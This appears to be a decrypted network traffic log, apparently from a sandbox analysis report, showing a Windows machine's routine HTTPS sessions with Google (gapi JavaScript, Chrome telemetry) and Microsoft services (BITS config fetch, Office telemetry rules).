2024-11-11 20:59:08 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-11 20:59:08 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-11 20:59:08 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-11 20:59:08 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-11 20:59:08 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-11 20:59:08 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-11 20:59:08 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-11 20:59:08 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-11 20:59:08 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-11 20:59:08 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	142.250.185.110	443	6656	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:09 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 20:59:09 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 35 38 37 34 36 34 35 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731358746458",null,null,null,
2024-11-11 20:59:09 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=EbokWRVm9RZJ4WMuMWYd8MmFZS-pTyRYQLNKJvmcHi3vWBeVoh0chTizwn1n3i8yJLDTUEewwrzW-vD7ptOi4gy8bTiCLPT4SbmZLV8rHlqCHEe8dU0DEFWuizSh27yznkMPacUkGxatrc_5_5JfTwklHT8THPn_-dNgFY9-zTMcq0g_CalLOKUg; expires=Tue, 13-May-2025 20:59:09 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 11 Nov 2024 20:59:09 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 11 Nov 2024 20:59:09 GMT Connection: close Transfer-Encoding: chunked
2024-11-11 20:59:09 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-11 20:59:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49724	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:10 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 20:59:10 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=243992 Date: Mon, 11 Nov 2024 20:59:10 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:10 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 20:59:11 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=243955 Date: Mon, 11 Nov 2024 20:59:10 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-11 20:59:11 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49731	142.250.185.110	443	6656	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:10 UTC	928	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=EbokWRVm9RZJ4WMuMWYd8MmFZS-pTyRYQLNKJvmcHi3vWBeVoh0chTizwn1n3i8yJLDTUEewwrzW-vD7ptOi4gy8bTiCLPT4SbmZLV8rHlqCHEe8dU0DEFWuizSh27yznkMPacUkGxatrc_5_5JfTwklHT8THPn_-dNgFY9-zTMcq0g_CalLOKUg
2024-11-11 20:59:10 UTC	918	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 35 38 37 34 38 30 37 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731358748076",null,null,null,
2024-11-11 20:59:11 UTC	950	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=1anJEdYpbeAD3VIuLKnr7vD12lbdMVBdORwvmg87cnTUpX4meeokswiy9OH7Pi2W0TdU9hiQ2R29-0mRZJR-xMfvs8rRPqGLGxzUP8DoB8TOhWYzZXr6RtYi2GOq0SMWdugpKJnY4rUwok21oMYQbpB3zYYaHMMfVvJze5Yg-Anp7TPD5QwgVR49o4XLHHaV; expires=Tue, 13-May-2025 20:59:11 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 11 Nov 2024 20:59:11 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 11 Nov 2024 20:59:11 GMT Connection: close Transfer-Encoding: chunked
2024-11-11 20:59:11 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-11 20:59:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	58664	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:15 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 09 Nov 2024 18:56:51 GMT ETag: "0x8DD00F04568BDCF" x-ms-request-id: a2ad2bd1-f01e-0096-27d5-3310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205915Z-174f7845968vqt9xhC1EWRgten00000005m000000000386w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
